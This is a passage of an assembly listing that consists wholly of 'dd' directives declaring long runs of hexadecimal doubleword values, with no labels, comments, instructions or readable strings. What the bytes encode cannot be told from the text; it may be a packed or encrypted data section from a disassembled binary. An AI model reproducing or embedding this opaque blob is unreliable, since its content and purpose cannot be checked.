0C1E6F7E7h, 36038959h, 0BB11F870h dd 0CC861F00h, 0DD34F1EBh, 90DA9517h, 90DA9925h, 78AF4h dd 5476C421h, 75493546h, 165F6512h, 601DB490h, 0EBA1C389h dd 0DDF82871h, 24FE901Ch, 0C0A31F4Bh, 0F454100Eh, 0F068834h dd 18D1FE97h, 55446B7h, 0A0806574h, 0EBCC5316h, 3300086Eh dd 39C80B45h, 1013977Ch, 60FC3B3Ch, 58C24F8h, 4C4D0451h dd 614EDB7h, 0C9B29799h, 86C12C1h, 0B52CA403h, 0B4F0128Bh dd 7CE4F7F9h, 4A98AF3Ah, 2287A89Bh, 0FAE99490h, 0DF9A9482h dd 4C4F2C89h, 818574Bh, 641209D4h, 4EE283Ah, 0E88F6DB8h dd 68FD4A04h, 17129CB8h, 40FF6D8Ch, 0D410DE9Ch, 0F800C1D1h dd 0CE91B40Bh, 1AA7877h, 0B03CE918h, 0D242656Ah, 80FF0CEAh dd 0CA1CD5C0h, 16140B3Bh, 14590B1Eh, 0EADFA400h, 4FB4D84Dh dd 0C950AC93h, 66C046Dh, 0AE2888BBh, 80D7A73Ch, 32BBA568h dd 0EDB3C9D9h, 8088DB7Eh, 35B3FB4Fh, 41A9098Fh, 2C4999C6h dd 0CB23F3Ah, 25C00379h, 0FFFC8ECBh, 5A2F26B0h, 70726204h dd 38EC3AD9h, 0DD14BC4Fh, 0CD375507h, 2ED0DE0h, 71412DF6h dd 240088C4h, 8AEC2BCFh, 645FB3h, 753F4656h, 8BE9AD4Ah dd 3CFE6F1Ch, 895B6E00h, 0F0F6C1DAh, 0A1C905CAh, 0BB7B1D8Ch dd 0C8AA7034h, 1403A4B8h, 0C4FC9E77h, 1530EF88h, 0C380E5h dd 0CE474A9Dh, 86AECBA6h, 0B216B8B8h, 0C0F6449Fh, 2F33EDB0h dd 991E0709h, 8500D180h, 44C306E9h, 0A49BC59Ch, 70025B2Ch dd 0FCE965ABh, 0C377717h, 99EF0404h, 0F180C881h, 3080F602h dd 6A5AA5C0h, 0C6510702h, 57E4D2CDh, 35AF3867h, 0C33A0108h dd 0D4D74F9Ah, 1A265916h, 7502F0CAh, 5DF7EA99h, 11439814h dd 0BB30F0F2h, 368A1DACh, 6C2C7DD2h, 0F7F03362h, 0F4B05284h dd 1ADB08EEh, 5F801164h, 0EC7910Ah, 8845971Eh, 0BBB05A90h dd 0DE583F06h, 0EB720050h, 0EAF77786h, 1FFA26B5h, 201A07E0h dd 887419DDh, 34D5F563h, 1D21AD29h, 49DE5818h, 3AE912E6h dd 650F7030h, 0CBEA0B45h, 7C90A6B7h, 0DF8228F4h, 0F7C06490h dd 5721FC16h, 5F1168A7h, 5C6E5FE4h, 66535E1Eh, 0B27912C1h dd 4E370BD0h, 93E50145h, 342CDFEEh, 0FCD13589h, 12D542h dd 0B553CC3Fh, 0A728C595h, 0CF64F845h, 0C2B83563h, 0FA03B42Eh dd 1D25B98Eh, 34BBA59Ah, 0B858BD94h, 2107D0Ch, 47959D4h dd 3ADD06B9h, 404D55C4h, 3CCE04Fh, 9F7FD9Ch, 86BFCBE7h dd 1884BA5Dh, 9F7FBE8h, 2AED291Dh, 645B90F0h, 6B3B78B1h dd 0D88900C0h, 0C18D1FF3h, 547902BDh, 0B9D29738h, 1DE29C56h dd 0B328F05Bh, 8A100088h, 4642FAE1h, 91875507h, 0C6656798h dd 0F38660A8h, 8CBCD0B4h, 5F2619DCh, 3F9AE8F7h, 764D3C09h dd 355E622Ch, 0F603474h, 97D63A77h, 56D36CA4h, 0BFC6DAE0h dd 1D2D286Eh, 0E8F89861h, 2960045Bh, 0BA98731Ah, 6EBE5413h dd 72004E8h, 0CC819F7Dh, 0AF0438FCh, 8AD7417h, 466BC0B9h dd 0E6A7C225h, 101097E4h, 3A00FC6Ah, 0F3C999DBh, 1F6A9E3h dd 1576198h, 2F3395F8h, 6EFFF435h, 9EB30068h, 9A51E773h dd 0C13A2597h, 22E42867h, 0B499C760h, 61963493h, 4F68B0CCh dd 0B450FCDCh, 0FAA850E9h, 594AFC00h, 0F80702BCh, 89CA8E7h dd 0CCFE00C5h, 679DFC93h, 42136F7Fh, 0A8B13818h, 80F09B2Ah dd 0DF55B0D7h, 12447BF1h, 0BFED044Bh, 6EAAB874h, 0C24713CCh dd 0A9C39804h, 0C77E6505h, 0F796A51Ch, 0F0F3A1ECh, 6E5570h dd 1F315CFDh, 0CC3A6F91h, 849E9CE6h, 7BBA7245h, 38BF0E7Ch dd 0F59467C4h, 90018F90h, 0BB072DE9h, 18CAA820h, 0AB2DE85Dh dd 2A38C0D7h, 0D1BE446Dh, 89AC783Fh, 0D536AA5Ch, 0EED5B810h dd 489E2B00h, 8F935E38h, 3E0AEE03h, 0D685D30Dh, 5E356E15h dd 0A44284E8h, 7CCBAE22h, 93AC5049h, 17302502h, 0FF56911Eh dd 6E16890h, 75976301h, 709A0DBDh, 7810D82Eh, 60C4ED95h dd 0D16F527Ah, 0D324E248h, 0A86FBEh, 7AD0C193h, 0BC0A7F9h dd 0B63CCB16h, 6343247Ch, 0C8EB8422h, 0A640674Ch, 450490DCh dd 0A4C27B43h, 0C40209DDh, 0EF55DC0Ch, 99D14080h, 0CD036233h dd 0B2D832B3h, 0AB2027D5h, 745ACC74h, 33C30940h, 5325E074h dd 0E7F370C0h, 7F137177h, 0AECA9Eh, 5F9C9030h, 70C9DE96h dd 946CE0D5h, 0B193F138h, 3C11BAC5h, 3A4BCE4h, 0C75F44C2h dd 79A29974h, 54E440D7h, 6AF441ECh, 6C0804E6h, 9B0102B8h dd 164EEB5Fh, 401CB22Bh, 13E89FDCh, 620259Dh, 0B00210A8h dd 8D386A6Eh, 992C225Dh, 0ECCED5B3h, 4754CDBDh, 6406060h dd 825AC696h, 0FC1E0B8h, 74E13A8Fh, 40168820h, 2CC45267h dd 22DCCAABh, 31753D10h, 7929D602h, 0B75D5DCh, 0BBC4587Ch dd 0FBE070FCh, 3881D24Bh, 8D7AA688h, 0F63AC8h, 0C4827BE2h dd 0F702E384h, 70C7D597h, 0BE1D4A05h, 8AE5F4E0h, 0E80490D5h dd 93BF005Dh, 8F896EC8h, 1100DC61h, 35A0B191h, 8704EA3h dd 0E8F74CAAh, 1D0807B8h, 7B30B9EBh, 201F975h, 33A8BCA2h dd 90B76A12h, 5E82F380h, 5AE7C440h, 5EFCF7AFh, 90E054B6h dd 41014D45h, 520F8CBDh, 8070A535h, 88074F5Dh, 0CB3E0B6Ch dd 558808Ch, 0D76A5B1Ah, 33880071h, 3E6DF585h, 59CBEC84h dd 40885CB6h, 18DDD39Ch, 12032AE0h, 896427EDh, 16038625h dd 12D78166h, 99FA73h, 0FC67B82Bh, 12ACFA79h, 0AAB13DC8h dd 1929EBC8h, 5B0BF195h, 0E6F67AFFh, 0E7ACACE7h, 0FFB86702h dd 12221B5h, 0AF0C870Fh, 4033FE2Bh, 1FA1BD01h, 3595FF80h dd 1F0C2015h, 4E22B6FDh, 63532406h, 513EB060h, 0A27B2582h dd 22F48DEh, 0BCF7B1A3h, 0D2C4FF6Bh, 6223FD00h, 1F1A610Dh dd 937A0080h, 0C2367F9Dh, 663C70E6h, 0E4B912BFh, 31BDF204h dd 3115F3AEh, 805649F9h, 0F65BB860h, 29C804B6h, 0BF31859Dh dd 0BD1F28F6h, 0C168A201h, 0B507B42h, 24DD20BDh, 4E8C101h dd 23B1B531h, 14E4B92Bh, 0D82C8C0Fh, 0CC82B1Fh, 2CE19589h dd 0F05D169h, 0BE9DEBFh, 58D3604h, 4DD7BB43h, 858B3BB8h dd 36255135h, 0A43D2800h, 683449Bh, 0B70F07C0h, 0BA800CF8h dd 1E0A58F7h, 0B2E8349Ch, 0E09FA340h, 0A64B01D1h, 99D8B33h dd 5F4E860Fh, 44EED03Bh, 0A4C45722h, 5B032A81h, 1B4A54E9h dd 0A0440EBh, 0E7F23A96h, 3EAED00h, 603BB5D5h, 0F88B25CAh dd 8992195Dh, 951759D8h, 8442755Eh, 0FE60252Ah, 29339ACCh dd 0A6C995h, 0F4A2E281h, 0A5508361h, 8BFAFE28h, 8AA6DE68h dd 0E9FB064Fh, 3E8DE045h, 72563B5h, 6B37DDh, 919B619Ch dd 0FF06BBABh, 66E1F855h, 0EF50D7DCh, 2501C16Eh, 0BD298534h dd 44B17B5Dh, 0A8DCBD2Bh dd 5E138C16h, 90AB57DCh, 0FF77C1EFh, 0F8AA3101h, 0D19653CCh dd 11F0D221h, 81D50267h, 93DB947h, 0D9BF3648h, 2FFCCAA1h dd 92B8AAA9h, 2111AE4Ch, 0F9BF0403h, 8B6ABFCh, 61CE71B7h dd 76B92AFCh, 0B82FF95Eh, 888E3EE7h, 8936D003h, 2B4D585h dd 0FF8BD22Bh, 310866E4h, 30281BDh, 0D1C233ADh, 83D06C00h dd 0F47504E9h, 89952409h, 0CFBBA44Ah, 2DBDB542h, 68880D03h dd 2AC85E17h, 0D195124Bh, 709BAA31h, 167CDC0h, 290C58D7h dd 5903F985h, 0C5A4908Dh, 705E80Ch, 84159E29h, 583AC7B8h dd 0F505B8Fh, 0D184FC2h, 0A6E308C1h, 5819CBE9h, 0A3D210F7h dd 67370068h, 0FD80986Bh, 0F50339E4h, 1D65BD83h, 0E0FE5003h dd 73549761h, 0ED9600F4h, 623DAB63h, 0DD064D17h, 85BD89E2h dd 1F84865h, 53E1CED9h, 1C898DE0h, 210324Dh, 0FF6D9DC3h dd 9F5255E1h, 0A195900h, 4267785Dh, 0F7D70076h, 270B4792h dd 0AA09B656h, 34181C7h, 715FDFE8h, 122143DCh, 9BAF0411h dd 0F828C0DCh, 518DB7Ah, 4A75DD9Eh, 13222F9h, 9756FA06h dd 0FDCA9D6h, 36A995CEh, 64683AC0h, 3D90F908h, 0FBBF1FF6h dd 49CA00E3h, 0EFADB250h, 80D6CD3Fh, 4FF1B061h, 0A9CC92Fh dd 0B574FCA1h, 0F424E51h, 0BB207386h, 2541A9C9h, 35DF6074h dd 66A280ECh, 12B7D98Ch, 4E18013h, 4C00CB6Fh, 0ECFAA286h dd 0FC12A3C9h, 307AE7Eh, 0AA725CBh, 0A018ADBAh, 0B014B335h dd 13C12E9Ch, 0A8E4F6BAh, 45AABC01h, 0E9BD03CEh, 10331D34h dd 0D1C7985h, 19D98D31h, 1E14C307h, 0E221E14h, 7834F20Fh dd 15F740F4h, 7BC46E7h, 0E06F61A8h, 895380BFh, 0F1BF5B18h dd 2D1A3D5Fh, 9260B6C4h, 5201F9B7h, 6159DCB5h, 8FD00E68h dd 628EFA10h, 0DA8B6502h, 0F1E8C0FFh, 2C907F5Ah, 833A7B3h dd 86241405h, 0C0BA341Eh, 7E414D9Dh, 0EEC9E917h, 90F36720h dd 2C9EA1ABh, 8D362DBFh, 0C7702C22h, 77255399h, 2817E35h dd 46250677h, 95F4F8D4h, 63858656h, 91FE99FEh, 0F4E774E6h dd 8BEA6AADh, 3B582359h, 30B51A5Fh, 8EFB5D9Bh, 0C9369458h dd 0D5A78DE0h, 0ED7F2989h, 29306931h, 905A52h, 0A41F1D20h dd 0F4FE953Fh, 0FCC75FDEh, 226680DCh, 4B812ECBh, 5FACF8EAh dd 0EEB80CBDh, 0DEE8972Fh, 0DF31719Dh, 0FA6A96C5h, 9D9525h dd 0FBBF5014h, 2CCC3EB3h, 793248h, 6188D381h, 0FF5F748Ah dd 9018B548h, 2E491083h, 4468F800h, 81F06580h, 0BB166F90h dd 0A614B983h, 0DABFD247h, 1107C1DAh, 5B20D8CDh, 0B95412EBh dd 5005C80Bh, 0D0D1BFh, 0ACE45AFFh, 9590BF28h, 0DEA6F0Eh dd 320BEF59h, 0B5E2BB27h, 9B994CF3h, 0EDB378DCh, 8D37DE12h dd 0D5AF91FAh, 76A9C81Fh, 17FB6C00h, 0D00BC22Ch, 699EA037h dd 4A2A58E7h, 45BF916h, 909297Ah, 114D1D61h, 68E58116h dd 0BC3B5699h, 133894FAh, 5C4EC585h, 0FA36D3C7h, 7C56973Dh dd 40FC14D6h, 0BD10FB51h, 45AC4D23h, 27AC32EFh, 0F2BD574Ah dd 0FC6F8D00h, 34C9C20Ah, 0BA1D3FE9h, 27B0FEE6h, 0EB75CA71h dd 99C77200h, 0C3050AAh, 0E644E011h, 0E8C11E01h, 830EB410h dd 3F14CB0h, 0D0C2958h, 3636EBE7h, 396404DEh, 1B3316EEh dd 40282950h, 0CD581821h, 9570113h, 0C05A401Bh, 4812DEBBh dd 78011D44h, 3F3B649Eh, 0E062F8F5h, 0B86E1D92h, 166EFB4Bh dd 0D7D90302h, 0EB8271A0h, 0EA08207Dh, 59815A59h, 123B13BBh dd 204312Bh, 82606012h, 57822479h, 0B5847159h, 0B95517ADh dd 37772E27h, 84BC83B3h, 8094FA73h, 0BD89DAA2h, 4C5E0D4Dh dd 0F9282118h, 5071818h, 0B5F0F4D8h, 0D8787C7h, 0C0CC5B04h dd 50CF78F5h, 0EBF0652h, 342BB13Ah, 0BCCAAA90h, 0DDC9A1FAh dd 53607C6Dh, 0A0C85631h, 952F19ACh, 2DE83F6h, 0B9125EECh dd 540B413h, 0AAA521A9h, 1E8D1831h, 311D8510h, 1FD911EDh dd 0C4868900h, 2B605BC3h, 0D3D0F48Dh, 4B7CC380h, 0A6973461h dd 0A72EE02Bh, 0CA7C0570h, 0C07D3108h, 0C177BF91h, 5D4E3525h dd 295B1720h, 0F20AE6B3h, 0BB04C283h, 5089FB03h, 0C0DFAA20h dd 0A0BBF34Ch, 0A122D96Eh, 0B13B862h, 0F85745E2h, 0DE549612h dd 18297E02h, 4AD1FCACh, 9CF5C35Ch, 17510198h, 4A258D29h dd 9EA5B55h, 0CD5F1CB1h, 0E80E9D9h, 0B1218D0Bh, 0F06C8505h dd 8F20870Fh, 146256BFh, 879655E3h, 0F8C502Ch, 6F162B2Dh dd 0C619140Fh, 98C12AA4h, 0FD2570A5h, 0B0B05A9Fh, 31770107h dd 555CF5BFh, 65951031h, 0B70CC411h, 9759C791h, 4B46E817h dd 0E9B3124Bh, 93D0BE96h, 7136BCh, 6A84952Bh, 60504CE5h dd 809CBABh, 57E9F0B8h, 6171BAE4h, 6BEE964Bh, 0B49D007Eh dd 0C76D3D4Ch, 0CBBF059Ah, 63390287h, 0D8E30F8Eh, 5261D23Ch dd 3115949Dh, 0AE11EFEh, 0BC56A92Eh, 3BA81DA6h, 62744015h dd 9D310528h, 24114122h, 94FA8DBDh, 5334A002h, 9DA6AA3Fh dd 36305B0h, 0D7809C09h, 0FD178241h, 0C1BD2301h, 57C66B25h dd 378505B7h, 0DD4B2B86h, 0B97282F9h, 7D110E30h, 0A78BB01h dd 0FFF465E9h, 255F51C4h, 0D337C18Bh, 0BD09EB03h, 0EEBD4BE9h dd 0AA44027h, 438CE140h, 4402966Ch, 0ECBD939Ah, 1EEF5150h dd 0D9B4ED0h, 4742C909h, 80B1DE4h, 80E5416Ah, 3D263B09h dd 1B794Fh, 56D4EAA4h, 8B0F7EB5h, 5184F49Dh, 5FA92A5Fh dd 0F6B1A00Bh, 210014DEh, 0F4825CADh, 0BF85EE32h, 5B41CAF2h dd 0AA009C72h, 0B9D33E63h, 0C400E4F2h, 0B66D5272h, 9D0DF537h dd 2DE877Ch, 9608CB0h, 9C285D9Dh, 7A71138h, 20F57E87h dd 4A0E5765h, 7A09247Ch, 4D05C083h, 0AA66C023h, 0A9026D57h dd 0F995893Eh, 26595F29h, 80A3E814h, 39B7531Bh, 4EB648DDh dd 29238110h, 18D17B5Fh, 103B218h, 0E8B47874h, 6B1B0013h dd 0DFA56721h, 2F39C6EBh, 0D38600A6h, 71BBD581h, 751C0A36h dd 82CE72B7h, 1FFDBD01h, 3162F375h, 692C9DCEh, 97471E94h dd 184E48FEh, 0D1310B3Dh, 12D77A81h, 0BE19D9EAh, 81013DC8h dd 0DE85C375h, 6653806Eh, 0B003512Ch, 0EC8B9Bh, 1BBB02B6h dd 90443FDBh, 0D93B29B2h, 6BFF4AD5h, 0D5FA25CAh, 798F5420h dd 0C1006BDEh, 5E3289A5h, 5F3E258h, 0B7D4B16Eh, 358DA180h dd 599F363Eh, 0C4E92EB7h, 0C214F725h, 10A70A22h, 7604698Dh dd 10418577h, 88E5B7EFh, 505FD390h, 2B811ABBh, 278928F6h dd 604D6D55h, 5F9860F9h, 0BD1E5617h, 7A2DEF88h, 6EBF008Eh dd 0BF95385h, 0E80051A1h, 6FEE2B14h, 27643017h, 3D5F35FFh dd 0A11E8122h, 3CC5EEh, 950541E3h, 2A536B92h, 12AA53D0h dd 0B3BFA3D2h, 3734C86h, 0D1BB52FEh, 1992F479h, 0E0B14DFFh dd 87E1EE05h, 9460B938h, 625A860Fh, 9861F268h, 0AA9FA8h dd 80AE1BE6h, 0AD67D933h, 0A60126FCh, 9C0CB6A0h, 0BA61619Ah dd 89EE68FAh, 25920BDh, 0F99D291Eh, 118065E5h, 0D6A85132h dd 5CB0F922h, 0FB1D8007h, 19BF70E6h, 28A79112h, 12995104h dd 0F871E402h, 0C9B6356h, 21221043h, 64864A0Ah, 0C8DB4AD0h dd 0F71C8161h, 4E127F86h, 9903AFB2h, 832E3D3Fh, 72C12992h dd 0C9673060h, 25B20840h, 656061C5h, 0EAF0F381h, 0A63A6422h dd 78599CB3h, 5276360Fh, 0C82BFC16h, 0A878C8h, 0BFAA5E34h dd 91E05F92h, 9C7C2203h, 10521CEAh, 38130182h, 0D14AF85Bh dd 9302D024h, 0E057CCC7h, 80195910h, 31209D89h, 7C24950Ch dd 0C5B4AC84h, 0F1C26DDh, 32713031h, 4072A904h, 0DFC3367h dd 5AD82554h, 8D3117C1h dd 0B27D05B1h, 50FB4D2Ah, 95109829h, 503F61B1h, 5DF1E757h dd 1AA1A5FCh, 7DA83AFEh, 0FDE78080h, 7B96BD0Bh, 6D20D7A4h dd 83E8F695h, 327264DAh, 0FA4F96E8h, 8715171Ah, 92F2D16Eh dd 1076B65Bh, 8A610E43h, 821D0ADBh, 0BEA7C30Ah, 41E66F6Ah dd 3E1FC718h, 3181EDECh, 2B2A09BDh, 9D695E2Dh, 507C8BA8h dd 0F308AC06h, 2EB40B0Ch, 25D8BFCFh, 0C68B89FDh, 79F18019h dd 0FCE1880Ch, 5DAA014Fh, 0D7B7EF65h, 0AD3BE000h, 0C22589Eh dd 0AA4B25BDh, 2840196Ah, 8D81690Fh, 1E50E509h, 2B5F73C4h dd 0E724A6ABh, 9141D8F7h, 0DB509F58h, 4A2B051Ch, 0BF6BBFD2h dd 4A0A9400h, 0BC231718h, 32049712h, 2F8F40Bh, 5661D872h dd 535D7A6Fh, 8E965864h, 0F3D58917h, 0B03FDE88h, 5A240764h dd 805CB8DBh, 0BD3A6386h, 0AAFB4D28h, 16103520h, 44B4B75Bh dd 0BB72EF2Eh, 0B8B35AB6h, 0F185E216h, 5961ED49h, 0B55F25C3h dd 91FF80ADh, 2A928047h, 72B00C01h, 0D58A60A6h, 0A6A44F3Ch dd 0E25FA1F9h, 28CB0430h, 9C8194BDh, 0D1131322h, 2B204196h dd 0E6EAF074h, 0E036B24Ah, 822E795Ah, 0D28A8461h, 0B5952920h dd 569AAA11h, 788D560Fh, 46412D60h, 37AF14E6h, 0F701F7A4h dd 0B70FFBFFh, 0F07426DBh, 77061455h, 0E00D5B74h, 0B7257E3Bh dd 1150C5AFh, 12034C3Bh, 8DEB2651h, 0FA8492A1h, 0FF1327E3h dd 9F699BE1h, 29999485h, 1AD1B906h, 2A94954Eh, 0EB4BCA43h dd 8807273Fh, 0B2B2BE73h, 2376209Ah, 3606650Ah, 0AF0801C4h dd 42D7CD69h, 5E0C1B6h, 0B3252B46h, 90DC528h, 0ED750449h dd 53E6E082h, 57045C50h, 2A359D09h, 60FB8B02h, 5808F355h dd 377F8F7Ah, 0A05F5204h, 38B87269h, 5C3F558h, 2BD0C93Fh dd 1B1EAD26h, 6000ABEFh, 1F3D7688h, 846D4B8Dh, 0D8B6AF4Dh dd 61DEAFB1h, 0D9305895h, 37492597h, 4A95E2CCh, 4B0ECB2Ch dd 903A16Ah, 8D29E6C9h, 4A5C14AAh, 0C38F6DE9h, 51A1CEC9h dd 8D2A89FBh, 90AA2091h, 8A0A880Fh, 9E01D5C6h, 765F78E5h dd 0B4D4BF50h, 904B25BAh, 82FA357Dh, 8A4BC507h, 3251E8D0h dd 2B613164h, 0FF3E9CA9h, 52B21F28h, 6348B880h, 0A5D95369h dd 0F6DCEF00h, 0B97738Fh, 5B395D25h, 0DE50190Ch, 8A12AEA4h dd 0F9A758F9h, 0DEB06B56h, 8C0B6892h, 0C78589B8h, 6014E4DFh dd 9F8E0FF2h, 0F0C10391h, 5ACA4CC5h, 0E989F029h, 710A4226h dd 3F41A7FDh, 0E0AD142Fh, 0FA6EFA4Ah, 328CFA00h, 0B54274E3h dd 82952CE4h, 5E2DB4B4h, 0FCB72603h, 2BE07900h, 7BFAAB2Ah dd 0EDC04E7h, 0B854EB80h, 2988D2F0h, 0C1F324ABh, 6B073EA1h dd 51117E09h, 709857AFh, 2F1F12Fh, 69ED5C5Fh, 0F0018544h dd 1DD274F3h, 31683657h, 80287185h, 2B8076F2h, 0AC25A7F6h dd 0EFA70189h, 0D62250F1h, 47FC7690h, 13B49A07h, 6A61CB01h dd 0E7411946h, 0AC0431C9h, 6BFB4AE8h, 4A790020h, 562FB6D5h dd 303E016Eh, 8DB589C2h, 7F010203h, 50021DDAh, 0A8F8C6BBh dd 26395409h, 3D18DE48h, 0CAC0FC60h, 1740953h, 0B750B99Dh dd 28BCBF04h, 9BC1A9Eh, 1946ED7h, 6929C187h, 6E202079h dd 681C4005h, 0BD07FF09h, 0D3E90280h, 382D5E61h, 7F03FC3Bh dd 0B85589BFh, 9232BCE4h, 8948DBFBh, 0BDB1025Fh, 503048FDh dd 9981F251h, 929125C7h, 3988D894h, 0A69C1801h, 859DF1CEh dd 6D9A482h, 0D85798A7h, 0A4379D3Bh, 4F829614h, 29CF12EBh dd 0ACF1295Ah, 0BDA0969h, 162445BDh, 0BB988C61h, 82C3343Eh dd 0E81E934Dh, 8E8F2110h, 20F92EE0h, 63DAEF00h, 422DC92Eh dd 3E88744Fh, 0D680006Bh, 37716A58h, 470033C6h, 63FC1642h dd 90EEEA8h, 5F1870E3h, 0BA684579h, 0CA4A0511h, 0E953403Ch dd 0FE181D50h, 72E31D97h, 4DC4256h, 0B782B194h, 72B2BE6Eh dd 15102348h, 0CF81012Dh, 3CAAED4Ah, 0F208292Fh, 9C1C911Fh dd 34431400h, 2412C8CBh, 1DFA4873h, 46BEA089h, 0B367D321h dd 0B4DFDF9h, 54B6B8E2h, 0BDF96479h, 77DAD714h, 56C0D68Fh dd 86B28B85h, 0EEEF3825h, 3E35970Fh, 0BF64007h, 0FBCE6F4h dd 4D9589C2h, 96079178h, 0D98B6650h, 0F4CD7F59h, 0CF13FA61h dd 2565CBC4h, 327FAE12h, 0C91A560Bh, 0DDC0AF4Dh, 2838A46h dd 4BDE59EAh, 25C09315h, 7E82027Dh, 4B3110C5h, 522D2D9Dh dd 1E9E09A8h, 8CC0B040h, 0AA671290h, 0C991005Eh, 0A06FA101h dd 0BF661902h, 0B35F3D6Dh, 0BD9A3BD6h, 423BDDCBh, 385EDE46h dd 59BD826Fh, 0DECAD61Ah, 0A5251446h, 48D01BE2h, 132E0F41h dd 3F9AAA1Eh, 53C2A4C0h, 1D5FEB0Ch, 421E2F08h, 1809BBF3h dd 4D78ACBh, 7475FF9Bh, 0C049BC4Ch, 0D968F781h, 0F95B4008h dd 91B43597h, 0B514801Ah, 25028764h, 3DEEFB6Fh, 1C5C35B5h dd 0B3BCD3F2h, 1DF265BFh, 0B350E342h, 574CE937h, 3CE9206Bh dd 673AC2B0h, 0CDB200CCh, 0E2E3207Bh, 9790009Ch, 556C58B8h dd 9907BB37h, 5F28C107h, 0F0497F1Ah, 0BF254048h, 853A641Ch dd 2C16E6A5h, 605D6053h, 0C0CC179Bh, 78070800h, 0D9024151h dd 0BA7E3C70h, 0F760A02h, 0CC985CC2h, 8F7B4296h, 0CF83C500h dd 85295F61h, 25F1B655h, 0EA2D43C5h, 0E08CCD80h, 0FB34338Dh dd 50BB1F15h, 0C7BF0299h, 926CF9C9h, 0D5D2577Dh, 5C14FB00h dd 0BA0F17Bh, 637100FEh, 99C4614Fh, 9997DF39h, 0A82FE934h dd 1209F846h, 0F710E59Dh, 0ECDE5053h, 54CD404Bh, 0D28913E4h dd 0F9290498h, 0E235BC0Bh, 92BF88h, 0EC987754h, 1698C667h dd 27842571h, 0BD1D01FDh, 2D801B91h, 0CF6D753Eh, 4C9E7912h dd 4AB735A0h, 0F940FFD8h, 0F72625A6h, 2E9751Bh, 5B90E7BFh dd 58506661h, 59992C4h, 22AD9D42h, 0F477D5Eh, 0E7B809A4h dd 0FAF56292h, 8A586A5Eh, 60E913DCh, 0DB9BFEF2h, 510A55C2h dd 0DF41C1FCh, 81E02FEFh, 0C85C2713h, 48B25FFh, 2D2A52A8h dd 9EC1ECDEh, 5704DC63h, 0FB8B686Bh, 0BF4F9CBCh, 3A00C47Ah dd 0AF61685Dh, 0BE4E9BF8h, 50900B31h, 0F760207Eh, 0CF0FA2ADh dd 0A126E484h, 7440AA29h, 5FA481D2h, 0FD3A6A90h, 2727B87Bh dd 7861D633h, 0F867452Dh, 0C9FED20Ah, 64F68759h, 60F107B7h dd 0AD41FC57h, 855275B5h, 2F775E61h, 3224341h, 56528850h dd 3A56975Fh, 27F6A008h, 160BD77h, 0C8CE1F28h, 695F689Fh dd 0D3ED5F46h, 4610EE60h, 13A2F887h, 1E82BC40h, 8B54C203h dd 0FB756AF9h, 0C1D070D1h, 0BB165C00h, 31D6308Ch, 0DCF84B8Bh dd 0F42CD82h, 0FFBAB381h, 78292FD1h, 0B664537Ah, 0AD0E0A5h dd 0FEA0005Eh, 8C84B738h, 8009026Ah, 1860E1D7h, 72359A5h dd 2F1BEDDEh, 8128B065h, 0DC25D65Ch, 7420F5EFh, 0D1561823h dd 0AC80E104h, 95BC6144h, 0EDDD0115h, 6762B716h, 0DBBDB7C3h dd 5FE99540h, 64CB0D4Bh, 5FB76E10h, 504164CDh, 7A7A0491h dd 3559018Dh, 0E0E1B1C5h, 6085302Fh, 60C961F9h, 0FBE10D9h dd 12629B8Eh, 0EB8897FEh, 62C0556Dh, 280BDF85h, 2083D89Fh dd 309721F1h, 2B96080h, 47E8DE01h, 635E61F5h, 0BFBD2BC3h dd 0CFE5F789h, 402AED2Dh, 0FF6AE02Ch, 0D6657697h, 579749Fh dd 82EACF80h, 3BD4F9A1h, 1A0D8584h, 79A734BCh, 0B9A02E79h dd 112D520h, 96BB70E6h, 0CC6F0EE4h, 0E9FE8971h, 91B3044Ah dd 8102DF22h, 0BF2CD9F3h, 32E5E5Eh, 0D8D0950h, 0D75B4F27h dd 0F6405A92h, 0D525BD23h, 2835926h, 12D18D29h, 244B501Ah dd 3BFBC82Bh, 88604B7Fh, 9400DB75h, 6393804Eh, 3757B7B1h dd 0AB807EF0h, 0A9881271h dd 87E98903h, 0F305B971h, 0E6821BE3h, 0BB0B8108h, 1D2F50A6h dd 0BB1830Eh, 104459EAh, 254B198Fh, 8A1607CCh, 0F017167Ch dd 84F6E4B1h, 968C4F38h, 0D8194175h, 3D3FF8Dh, 9B001EF2h dd 6621085Ah, 3B257952h, 4514E494h, 0CA92F2Ch, 0CFA41660h dd 44009DD6h, 3005241Bh, 5183F2E3h, 92502FA5h, 4CC5E1BBh dd 75406D5Bh, 0D89A4BB3h, 3648E501h, 0A06E5EF1h, 0E6CD3450h dd 78AB1D60h, 2BB70DB5h, 699DF04Ch, 0F99B0B4Bh, 58CB1CC8h dd 896802A1h, 0E0E82D3Fh, 24591B40h, 9AC7B980h, 0B7560998h dd 0F3705B33h, 0AD784F93h, 0A6FA091Ch, 0C875174Ch, 7B8953Eh dd 0A205AEC6h, 5AB210F7h, 0E8524799h, 0CDFF00AEh, 102624E6h dd 20444A4Eh, 512C1C85h, 81674D00h, 888DD0E1h, 646A007Dh dd 0EEFEDE02h, 8013D584h, 2D9BFC5Bh, 3AB8BF8Ah, 290806A0h dd 0B2A85BDh, 47B7C02Bh, 5EADFB84h, 0D22BB6D1h, 1C0D043Ah dd 0F609BC35h, 0CA3D5584h, 0ACFBFD2Eh, 19105DEh, 0E6205D9Dh dd 378000C2h, 96B6AA8Fh, 0D812971Eh, 0FD25D5F9h, 761C1116h dd 0D55E80E5h, 0E28D84D3h, 90CFD084h, 0D29BB92Bh, 8A13E16Bh dd 0C3D8ABE6h, 2B0B4169h, 9A5A942Fh, 0F3D3891Fh, 0E67270A7h dd 0A061D305h, 0D4F9BD31h, 2585CA4Ah, 80DF7B2Eh, 0F74023FBh dd 8E001285h, 86E67FCDh, 258BB914h, 94C45FFAh, 928CF54Bh dd 79B51229h, 98E513h, 0C0BEDFBEh, 45781497h, 0D19E20C4h dd 25BD3044h, 5BC724CDh, 8101C611h, 80FA2ED3h, 3E282E40h dd 0F18D867Dh, 0FDFD561h, 0B53110FAh, 0C4600144h, 121B71ACh dd 0C88921B0h, 62252DF2h, 0F7D910h, 1F41A496h, 0B5049DA1h dd 45A5D573h, 4CC9DDC1h, 7C23DEC1h, 1275EF27h, 910C56F8h dd 5345096h, 5325B2B4h, 18185959h, 273F74DDh, 0B140A97Eh dd 90B5EAA8h, 8A2FE8h, 0E4C9C722h, 311BDF55h, 12090E5Ch dd 21E57C3Bh, 0BC97E93Ah, 4F907466h, 853C2052h, 0EC00209Eh dd 0A07D2ECFh, 1D4F02A7h, 9296A1B6h, 8462C468h, 3A1BF50h dd 800FDB2Ah, 7F4F41F4h, 9A1606C8h, 4A2F59DDh, 3E5A0295h dd 8D6041EAh, 292B4625h, 0D0004228h, 2140CCD6h, 